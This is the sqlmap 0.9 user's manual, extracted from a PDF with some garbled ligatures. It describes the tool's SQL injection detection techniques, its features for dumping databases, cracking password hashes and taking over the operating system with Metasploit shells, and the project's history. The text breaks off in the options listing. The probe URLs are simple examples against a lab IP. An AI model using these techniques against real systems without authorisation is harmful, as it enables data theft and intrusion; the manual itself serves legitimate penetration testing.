sqlmap user's manual - IT-DOCS

sqlmap user's manual - IT-DOCS
sqlmap user's manual
by Bernardo Damele A. G. , Miroslav Stampar
version 0.9, April 10, 2011
This document is the user's manual to use sqlmap .
Contents
1 Introduction
4
1.1 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
1.2 Scenario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
1.2.1 Detect and exploit a SQL injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
1.2.2 Direct connection to the database management system . . . . . . . . . . . . . . . . . .
6
1.3 Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6
1.4 Demo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
2 Features
7
2.1 Generic features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
2.2 Fingerprint and enumeration features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
2.3 Takeover features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
3 History
10
3.1 2011 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.2 2010 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.3 2009 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.4 2008 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.5 2007 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.6 2006 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
4 Download and update
13
5 Usage
13
5.1 Output verbosity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
5.2 Target . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
5.2.1 Target URL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
5.2.2 Parse targets from Burp or WebScarab proxy logs . . . . . . . . . . . . . . . . . . . . 17
5.2.3 Load HTTP request from a le . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
5.2.4 Process Google dork results as target addresses . . . . . . . . . . . . . . . . . . . . . . 18
5.2.5 Load options from a conguration INI le . . . . . . . . . . . . . . . . . . . . . . . . . 18
CONTENTS
2
5.3 Request . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
5.3.1 HTTP data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
5.3.2 HTTP Cookie header . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
5.3.3 HTTP User-Agent header . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
5.3.4 HTTP Referer header . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
5.3.5 Extra HTTP headers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
5.3.6 HTTP protocol authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
5.3.7 HTTP protocol certicate authentication . . . . . . . . . . . . . . . . . . . . . . . . . 20
5.3.8 HTTP(S) proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
5.3.9 Delay between each HTTP request . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.3.10 Seconds to wait before timeout connection . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.3.11 Maximum number of retries when the HTTP connection timeouts . . . . . . . . . . . 21
5.3.12 Filtering targets from provided proxy log using regular expression . . . . . . . . . . . 21
5.3.13 Avoid your session to be destroyed after too many unsuccessful requests . . . . . . . . 21
5.4 Optimization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.4.1 Bundle optimization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.4.2 Output prediction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.4.3 HTTP Keep-Alive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.4.4 HTTP NULL connection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.4.5 Concurrent HTTP(S) requests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.5 Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.5.1 Testable parameter(s) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.5.2 Force the database management system name . . . . . . . . . . . . . . . . . . . . . . . 23
5.5.3 Force the database management system operating system name . . . . . . . . . . . . . 24
5.5.4 Custom injection payload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
5.5.5 Tamper injection data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.6 Detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5.6.1 Level . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5.6.2 Risk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5.6.3 Page comparison . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
5.7 Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
5.7.1 SQL injection techniques to test for . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
5.7.2 Seconds to delay the DBMS response for time-based blind SQL injection . . . . . . . . 28
5.7.3 Number of columns in UNION query SQL injection . . . . . . . . . . . . . . . . . . . 28
5.7.4 Character to use to test for UNION query SQL injection . . . . . . . . . . . . . . . . . 28
5.8 Fingerprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
5.8.1 Extensive database management system ngerprint . . . . . . . . . . . . . . . . . . . . 28
CONTENTS
3
5.9 Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
5.9.1 Banner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
5.9.2 Session user . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
5.9.3 Current database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
5.9.4 Detect whether or not the session user is a database administrator . . . . . . . . . . . 29
5.9.5 List database management system users . . . . . . . . . . . . . . . . . . . . . . . . . . 29
5.9.6 List and crack database management system users password hashes . . . . . . . . . . 29
5.9.7 List database management system users privileges . . . . . . . . . . . . . . . . . . . . 30
5.9.8 List database management system users roles . . . . . . . . . . . . . . . . . . . . . . . 31
5.9.9 List database management system's databases . . . . . . . . . . . . . . . . . . . . . . 31
5.9.10 Enumerate database's tables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
5.9.11 Enumerate database table columns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
5.9.12 Dump database table entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
5.9.13 Dump all databases tables entries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
5.9.14 Search for columns, tables or databases . . . . . . . . . . . . . . . . . . . . . . . . . . 33
5.9.15 Run custom SQL statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
5.10 Brute force . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
5.10.1 Brute force tables names . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
5.10.2 Brute force columns names . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
5.11 User-dened function injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
5.11.1 Inject custom user-dened functions (UDF) . . . . . . . . . . . . . . . . . . . . . . . . 35
5.12 File system access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
5.12.1 Read a le from the database server's le system . . . . . . . . . . . . . . . . . . . . . 36
5.12.2 Upload a le to the database server's le system . . . . . . . . . . . . . . . . . . . . . 36
5.13 Operating system takeover . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
5.13.1 Run arbitrary operating system command . . . . . . . . . . . . . . . . . . . . . . . . . 37
5.13.2 Out-of-band stateful connection: Meterpreter & friends . . . . . . . . . . . . . . . . . 38
5.14 Windows registry access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.14.1 Read a Windows registry key value . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.14.2 Write a Windows registry key value . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.14.3 Delete a Windows registry key . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.14.4 Auxiliary registry switches . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.15 General . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5.15.1 Log HTTP(s) trac to a textual le . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5.15.2 Session le: save and resume data retrieved . . . . . . . . . . . . . . . . . . . . . . . . 42
5.15.3 Flush session le . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5.15.4 Ignores query results stored in session le . . . . . . . . . . . . . . . . . . . . . . . . . 43
1. Introduction
4
5.15.5 Estimated time of arrival . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
5.15.6 Update sqlmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
5.15.7 Save options in a conguration INI le . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.15.8 Act in non-interactive mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.16 Miscellaneous . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.16.1 Alert when a SQL injection is detected . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.16.2 IDS detection testing of injection payloads . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.16.3 Cleanup the DBMS from sqlmap specic UDF(s) and table(s) . . . . . . . . . . . . . . 44
5.16.4 Parse and test forms' input elds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
5.16.5 Use Google dork results from specied page number . . . . . . . . . . . . . . . . . . . 45
5.16.6 Display page rank (PR) for Google dork results . . . . . . . . . . . . . . . . . . . . . . 45
5.16.7 Parse DBMS error messages from response pages . . . . . . . . . . . . . . . . . . . . . 45
5.16.8 Replicate dumped data into a sqlite3 database . . . . . . . . . . . . . . . . . . . . . . 45
5.16.9 Simple wizard interface for beginner users . . . . . . . . . . . . . . . . . . . . . . . . . 45
6 License and copyright
45
7 Disclaimer
45
8 Authors
46
1
Introduction
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL
injection aws and taking over of database servers. It comes with a kick-ass detection engine, many niche
features for the ultimate penetration tester and a broad range of switches lasting from database ngerprinting,
over data fetching from the database, to accessing the underlying le system and executing commands on
the operating system via out-of-band connections.
1.1 Requirements
sqlmap is developed in Python , a dynamic object-oriented interpreted programming language. This makes
the tool independent from the operating system. It only requires the Python interpreter version 2 equal or
higher than 2.6. The interpreter is freely downloadable from its ocial site . To make it even easier, many
GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac
OSX too provide it packaged in their formats and ready to be installed. Windows users can download and
install the Python setup-ready installer for x86, AMD64 and Itanium too.
sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to
grab a copy of it from the download page - the required version is 3.5 or higher. For the ICMP tunneling
out-of-band takeover technique, sqlmap requires Impacket library too.
If you are willing to connect directly to a database server (-d switch), without passing via a web application,
you need to install Python bindings for the database management system that you are going to attack:
1. Introduction
5
• Firebird: python-kinterbasdb .
• Microsoft Access: python-pyodbc .
• Microsoft SQL Server: python-pymssql .
• MySQL: python-mysqldb .
• Oracle: python cx_Oracle .
• PostgreSQL: python-psycopg2 .
• SQLite: python-pysqlite2 .
• Sybase: python-pymssql .
If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality
(--update switch) you need to install respectively python-ntlm and python-svn libraries.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to
take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell.
Note that these functionalities are available natively by Python standard readline library on other operating
systems.
You can also choose to install Psyco library to eventually speed up the sqlmap algorithmic operations.
1.2 Scenario
1.2.1 Detect and exploit a SQL injection
Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided
values on GET or POST parameters or HTTP Cookie values or HTTP User-Agent header value. You now
want to test if these are aected by a SQL injection vulnerability, and if so, exploit them to retrieve as much
information as possible out of the web application's back-end database management system or even be able
to access the underlying le system and operating system.
In a simple world, consider that the target url is:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
diers from the original one, it means that you are in front of a SQL injection vulnerability in the id
GET parameter of the index.php web application page which means that potentially no IDS/IPS, no web
application rewall, no parameters' value sanitization is performed on the server-side before sending the SQL
statement to the back-end database management system the web application relies on.
This is a quite common aw in dynamic content web applications and it does not depend upon the backend database management system nor on the web application programming language: it is a programmer
6
1. Introduction
code's security aw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten
survey this vulnerability as the most common and important web application vulnerability along with other
injection aws.
Back to the scenario, probably the SQL SELECT statement into get_int.php has a syntax similar to the
following SQL query, in pseudo PHP code:
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" .
$_REQUEST['id'];
As you can see, appending any other syntatically valid SQL condition after a value for id such condition
will take place when the web application passes the query to the back-end database management system
that executes it, that is why the condition id=1 AND 1=1 is valid (True ) and returns the same page as the
original one, with the same content. This is the case of a boolean-based blind SQL injection vulnerability.
However, sqlmap is able to detect any type of SQL injection and adapt its work-ow accordingly. Read
below for further details.
Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more
valid SQL condition(s), but also stacked SQL queries, for instance something like [...]&id=1; ANOTHER
SQL QUERY# if the web application technology supports stacked queries , also known as multiple statements .
Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the id
parameter value in the HTTP request.
There exist many resources on the Net explaining in depth how to prevent, detect and exploit SQL injection
vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue
before going ahead with sqlmap.
Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 to sqlmap, the
tool will automatically:
• Identify the vulnerable parameter(s) (id in this example);
• Identify which SQL injection techniques can be used to exploit the vulnerable parameter(s);
• Fingerprint the back-end database management system;
• Depending on the user's options, it will extensively ngerprint, enumerate data or takeover the database
server as a whole.
1.2.2 Direct connection to the database management system
Up until sqlmap version 0.8, the tool has been yet another SQL injection tool , used by web application
penetration testers/newbies/curious teens/computer addicted/punks and so on. Things move on and as
they evolve, we do as well. Now it supports this new switch, -d, that allows you to connect from your
machine to the database server's TCP port where the database management system daemon is listening on
and perform any operation you would do while using it to attack a database via a SQL injection vulnerability.
1.3 Techniques
sqlmap is able to detect and exploit ve dierent SQL injection types :
• Boolean-based blind SQL injection, also known as inferential SQL injection: sqlmap replaces
or appends to the aected parameter in the HTTP request, a syntatically valid SQL statement string
containing a SELECT sub-statement, or any other SQL statement whose the user want to retrieve the
2. Features
7
output. For each HTTP response, by making a comparison between the HTTP response headers/body
with the original request, the tool inference the output of the injected statement character by character.
Alternatively, the user can provide a string or regular expression to match on True pages. The bisection
algorithm implemented in sqlmap to perform this technique is able to fetch each character of the output
with a maximum of seven HTTP requests. Where the output is not within the clear-text plain charset,
sqlmap will adapt the algorithm with bigger ranges to detect the output.
• Time-based blind SQL injection, also known as full blind SQL injection: sqlmap replaces or
appends to the aected parameter in the HTTP request, a syntatically valid SQL statement string
containing a query which put on hold the back-end DBMS to return for a certain number of seconds.
For each HTTP response, by making a comparison between the HTTP response time with the original
request, the tool inference the output of the injected statement character by character. Like for
boolean-based technique, the bisection algorithm is applied.
• Error-based SQL injection: sqlmap replaces or append to the aected parameter a database-specic
syntatically wrong statement and parses the HTTP response headers and body in search of DBMS
error messages containing the injected pre-dened chain of characters and the statement output within.
This technique works when the web application has been congured to disclose back-end database
management system error messages only.
• UNION query SQL injection, also known as inband SQL injection: sqlmap appends to the
aected parameter a syntatically valid SQL statement string starting with a UNION ALL SELECT. This
techique works when the web application page passes the output of the SELECT statement within a for
cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also
able to exploit partial (single entry) UNION query SQL injection vulnerabilities which occur
when the output of the statement is not cycled in a for construct whereas only the rst entry of the
query output is displayed.
• Stacked queries SQL injection, also known as multiple statements SQL injection: sqlmap tests
if the web application supports stacked queries then, in case it does support, it appends to the aected
parameter in the HTTP request, a semi-colon (;) followed by the SQL statement to be executed.
This technique is useful to run SQL statements other than SELECT like, for instance, data denition
or data manipulation statements possibly leading to le system read and write access and operating
system command execution depending on the underlying back-end database management system and
the session user privileges.
1.4 Demo
You can watch several demo videos, they are hosted on YouTube .
2
Features
Features implemented in sqlmap include:
2.1 Generic features
• Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access,
SQLite, Firebird, Sybase and SAP MaxDB database management systems.
• Full support for ve SQL injection techniques: boolean-based blind, time-based blind, error-
based, UNION query and stacked queries.
2. Features
8
• Support to directly connect to the database without passing via a SQL injection, by providing
DBMS credentials, IP address, port and database name.
• It is possible to provide a single target URL, get the list of targets from Burp proxy or WebScarab proxy
requests log les, get the whole HTTP request from a text le or get the list of targets by providing
sqlmap with a Google dork which queries Google search engine and parses its results page. You can
also dene a regular-expression based scope that is used to identify which of the parsed addresses to
test.
• Tests provided GET parameters, POST parameters, HTTP Cookie header values, HTTP User-
Agent header value and HTTP Referer header value to identify and exploit SQL injection vulnerabilities. It is also possible to specify a comma-separated list of specic parameter(s) to test.
• Option to specify the maximum number of concurrent HTTP(S) requests (multi-threading)
to speed up the blind SQL injection techniques. Vice versa, it is also possible to specify the number
of seconds to hold between each HTTP(S) request. Others optimization switches to speed up the
exploitation are implemented too.
• HTTP Cookie header string support, useful when the web application requires authentication based
upon cookies and you have such data or in case you just want to test for and exploit SQL injection on
such header values. You can also specify to always URL-encode the Cookie.
• Automatically handles HTTP Set-Cookie header from the application, re-establishing of the session
if it expires. Test and exploit on these values is supported too. Vice versa, you can also force to ignore
any Set-Cookie header.
• HTTP protocol Basic, Digest, NTLM and Certicate authentications support.
• HTTP(S) proxy support to pass by the requests to the target application that works also with
HTTPS requests and with authenticated proxy servers.
• Options to fake the HTTP Referer header value and the HTTP User-Agent header value specied
by user or randomly selected from a textual le.
• Support to increase the verbosity level of output messages: there exist seven levels of verbosity.
• Support to parse HTML forms from the target URL and forge HTTP(S) requests against those
pages to test the form parameters against vulnerabilities.
• Granularity and exibility in terms of both user's switches and features.
• Estimated time of arrival support for each query, updated in real time, to provide the user with an
overview on how long it will take to retrieve the queries' output.
• Automatically saves the session (queries and their output, even if partially retrieved) on a textual le
in real time while fetching the data and resumes the injection by parsing the session le.
• Support to read options from a conguration INI le rather than specify each time all of the switches
on the command line. Support also to generate a conguration le based on the command line switches
provided.
• Support to replicate the back-end database tables structure and entries on a local SQLite 3
database.
• Option to update sqlmap to the latest development version from the subversion repository.
• Support to parse HTTP(S) responses and display any DBMS error message to the user.
• Integration with other IT security open source projects, Metasploit and w3af .
2. Features
9
2.2 Fingerprint and enumeration features
• Extensive back-end database software version and underlying operating system nger-
print based upon error messages , banner parsing , functions output comparison and specic features
such as MySQL comment injection. It is also possible to force the back-end database management
system name if you already know it.
• Basic web server software and web application technology ngerprint.
• Support to retrieve the DBMS banner, session user and current database information. The tool
can also check if the session user is a database administrator (DBA).
• Support to enumerate database users, users' password hashes, users' privileges, users' roles,
databases, tables and columns.
• Automatic recognition of password hashes format and support to crack them with a dictionary-
based attack.
• Support to brute-force tables and columns name. This is useful when the session user has no
read access over the system table containing schema information or when the database management
system does not store this information anywhere (e.g. MySQL < 5.0).
• Support to dump database tables entirely, a range of entries or specic columns as per user's choice.
The user can also choose to dump only a range of characters from each column's entry.
• Support to automatically dump all databases' schemas and entries. It is possibly to exclude from
the dump the system databases.
• Support to search for specic database names, specic tables across all databases or specic
columns across all databases' tables. This is useful, for instance, to identify tables containing
custom application credentials where relevant columns' names contain string like name and pass .
• Support to run custom SQL statement(s) as in an interactive SQL client connecting to the back-
end database. sqlmap automatically dissects the provided statement, determines which technique ts
best to inject it and how to pack the SQL payload accordingly.
2.3 Takeover features
Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full
control and in the slide deck Expanding the control over the operating system from the database .
• Support to inject custom user-dened functions: the user can compile a shared library then use
sqlmap to create within the back-end DBMS user-dened functions out of the compiled shared library
le. These UDFs can then be executed, and optionally removed, via sqlmap. This is supported when
the database software is MySQL or PostgreSQL.
• Support to download and upload any le from the database server underlying le system when
the database software is MySQL, PostgreSQL or Microsoft SQL Server.
• Support to execute arbitrary commands and retrieve their standard output on the database
server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft
SQL Server.
On MySQL and PostgreSQL via user-dened function injection and execution.
On Microsoft SQL Server via xp_cmdshell() stored procedure. Also, the stored procedure is
re-enabled if disabled or created from scratch if removed by the DBA.
3. History
10
• Support to establish an out-of-band stateful TCP connection between the attacker machine
and the database server underlying operating system. This channel can be an interactive command
prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap
relies on Metasploit to create the shellcode and implements four dierent techniques to execute it on
the database server. These techniques are:
Database in-memory execution of the Metasploit's shellcode via sqlmap own user-dened
function sys_bineval(). Supported on MySQL and PostgreSQL.
Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own userdened function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft
SQL Server.
Execution of Metasploit's shellcode by performing a SMB reection attack (MS08-068 ) with
a UNC path request from the database server to the attacker's machine where the Metasploit
smb_relay server exploit listens. Supported when running sqlmap with high privileges (uid=0)
on Linux/Unix and the target DBMS runs as Administrator on Windows.
Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL
Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buer overow (MS09-004 ). sqlmap has its own exploit to trigger the vulnerability with automatic DEP
memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed
upon successful exploitation.
• Support for database process' user privilege escalation via Metasploit's getsystem command
which include, among others, the kitrap0d technique (MS10-015 ).
• Support to access (read/add/delete) Windows registry hives.
3
History
3.1 2011
• April 10, Bernardo and Miroslav release sqlmap 0.9 featuring a totally rewritten and powerful SQL
injection detection engine, the possibility to connect directly to a database server, support for timebased blind SQL injection and error-based SQL injection, support for four new database management
systems and much more.
3.2 2010
• December, Bernardo and Miroslav have enhanced sqlmap a lot during the whole year and prepare to
release sqlmap 0.9 within the rst quarter of 2011.
• June 3, Bernardo presents a talk titled Got database access? Own the network! at AthCon 2010 in
Athens (Greece).
• March 14, Bernardo and Miroslav release stable version of sqlmap 0.8 featuring many features.
Amongst these, support to enumerate and dump all databases' tables containing user provided column(s), stabilization and enhancements to the takeover functionalities, updated integration with
Metasploit 3.3.3 and a lot of minor features and bug xes.
• March, sqlmap demo videos have been published .
• January, Bernardo is invited to present at AthCon conference in Greece on June 2010.
3. History
11
3.3 2009
• December 18, Miroslav Stampar replies to the call for developers. Along with Bernardo, he actively
develops sqlmap from version 0.8 release candidate 2.
• December 12, Bernardo writes to the mailing list a post titled sqlmap state of art - 3 years later
highlighting the goals achieved during these rst three years of the project and launches a call for
developers.
• December 4, sqlmap-devel mailing list has been merged into sqlmap-users mailing list .
• November 20, Bernardo and Guido present again their research on stealth database server takeover
at CONdence 2009 in Warsaw, Poland.
• September 26, sqlmap version 0.8 release candidate 1 goes public on the subversion repository ,
with all the attack vectors unveiled at SOURCE Barcelona 2009 Conference. These include an enhanced
version of the Microsoft SQL Server buer overow exploit to automatically bypass DEP memory
protection, support to establish the out-of-band connection with the database server by executing inmemory the Metasploit shellcode via UDF sys_bineval() (anti-forensics technique), support to access
the Windows registry hives and support to inject custom user-dened functions.
• September 21, Bernardo and Guido Landi present their research (slides ) at SOURCE Conference
2009 in Barcelona, Spain.
• August, Bernardo is accepted as a speaker at two others IT security conferences, SOURCE Barcelona
2009 and CONdence 2009 Warsaw . This new research is titled Expanding the control over the
operating system from the database .
• July 25, stable version of sqlmap 0.7 is out!
• June 27, Bernardo presents an updated version of his SQL injection: Not only AND 1=1 slides at
2nd Digital Security Forum in Lisbon, Portugal.
• June 2, sqlmap version 0.6.4 has made its way to the ocial Ubuntu repository too.
• May, Bernardo presents again his research on operating system takeover via SQL injection at OWASP
AppSec Europe 2009 in Warsaw, Poland and at EUSecWest 2009 in London, UK.
• May 8, sqlmap version 0.6.4 has been ocially accepted in Debian repository. Details on this blog
post .
• April 22, sqlmap version 0.7 release candidate 1 goes public, with all the attack vectors unveiled at
Black Hat Europe 2009 Conference. These include execution of arbitrary commands on the underlying
operating system, full integration with Metasploit to establish an out-of-band TCP connection, rst
publicly available exploit for Microsoft Security Bulletin MS09-004 against Microsoft SQL Server 2000
and 2005 and others attacks to takeover the database server as a whole, not only the data from the
database.
• April 16, Bernardo presents his research (slides , whitepaper ) at Black Hat Europe 2009 in Ams-
terdam, The Netherlands. The feedback from the audience is good and there has been some media
coverage too.
• March 5, Bernardo presents for the rst time some of the sqlmap recent features and upcoming
enhancements at an international event, Front Range OWASP Conference 2009 in Denver, USA. The
presentation is titled SQL injection: Not only AND 1=1 .
• February 24, Bernardo is accepted as a speaker at Black Hat Europe 2009 with a presentation titled
Advanced SQL injection exploitation to operating system full control .
3. History
12
• February 3, sqlmap 0.6.4 is the last point release for 0.6: taking advantage of the stacked queries
test implemented in 0.6.3, sqlmap can now be used to execute any arbitrary SQL statement, not only
SELECT anymore. Also, many features have been stabilized, tweaked and improved in terms of speed
in this release.
• January 9, Bernardo presents SQL injection exploitation internals at a private event in London, UK.
3.4 2008
• December 18, sqlmap 0.6.3 is released featuring support to retrieve targets from Burp and WebScarab
proxies log les, support to test for stacked queries ant time-based blind SQL injection, rough ngerprint
of the web server and web application technologies in use and more options to customize the HTTP
requests and enumerate more information from the database.
• November 2, sqlmap version 0.6.2 is a "bug xes" release only.
• October 20, sqlmap rst point release, 0.6.1, goes public. This includes minor bug xes and the
rst contact between the tool and Metasploit : an auxiliary module to launch sqlmap from within
Metasploit Framework. The subversion development repository goes public again.
• September 1, nearly one year after the previous release, sqlmap 0.6 comes to life featuring a complete
code refactoring, support to execute arbitrary SQL SELECT statements, more options to enumerate
and dump specic information are added, brand new installation packages for Debian, Red Hat, Windows and much more.
• August, two public mailing lists are created on SourceForge.
• January, sqlmap subversion development repository is moved away from SourceForge and goes private
for a while.
3.5 2007
• November 4, release 0.5 marks the end of the OWASP Spring of Code 2007 contest participation.
Bernardo has accomplished all the propsed objects which include also initial support for Oracle, enhanced support for UNION query SQL injection and support to test and exploit SQL injections in
HTTP Cookie and User-Agent headers.
• June 15, Bernardo releases version 0.4 as a result of the rst OWASP Spring of Code 2007 milestone.
This release features, amongst others, improvements to the DBMS ngerprint engine, support to
calculate the estimated time of arrival, options to enumerate specic data from the database server
and brand new logging system.
• April, even though sqlmap was not and is not an OWASP project, it gets accepted , amongst many
other open source projects to OWASP Spring of Code 2007.
• March 30, Bernardo applies to OWASP Spring of Code 2007 .
• January 20, sqlmap version 0.3 is released, featuring initial support for Microsoft SQL Server, support
to test and exploit UNION query SQL injections and injection points in POST parameters.
13
4. Download and update
3.6 2006
• December 13, Bernardo releases version 0.2 with major enhancements to the DBMS ngerprint
functionalities and replacement of the old inference algorithm with the bisection algorithm.
• September, Daniele leaves the project, Bernardo Damele A. G. takes it over.
• August, Daniele adds initial support for PostgreSQL and releases version 0.1.
• July 25, Daniele Bellucci registers the sqlmap project on SourceForge and develops it on the Source-
Forge subversion repository . The skeleton is implemented and limited support for MySQL added.
4
Download and update
sqlmap can be downloaded from its SourceForge File List page . It is available in two formats:
• Source gzip compressed .
• Source zip compressed .
You can also checkout the latest development version from the subversion repository:
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
You can update it at any time to the latest development version by running:
$ python sqlmap.py --update
Or:
$ svn update
This is strongly recommended before reporting any bug to the mailing list .
5
Usage
$ python sqlmap.py -h
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Usage: python sqlmap.py [options]
Options:
--version
-h, --help
-v VERBOSE
show program's version number and exit
show this help message and exit
Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
14
5. Usage
-d
-u
-l
-r
-g
-c
DIRECT
URL, --url=URL
LIST
REQUESTFILE
GOOGLEDORK
CONFIGFILE
Direct connection to the database
Target url
Parse targets from Burp or WebScarab proxy logs
Load HTTP request from a file
Process Google dork results as target urls
Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
--data=DATA
--cookie=COOKIE
--cookie-urlencode
--drop-set-cookie
--user-agent=AGENT
--random-agent
--referer=REFERER
--headers=HEADERS
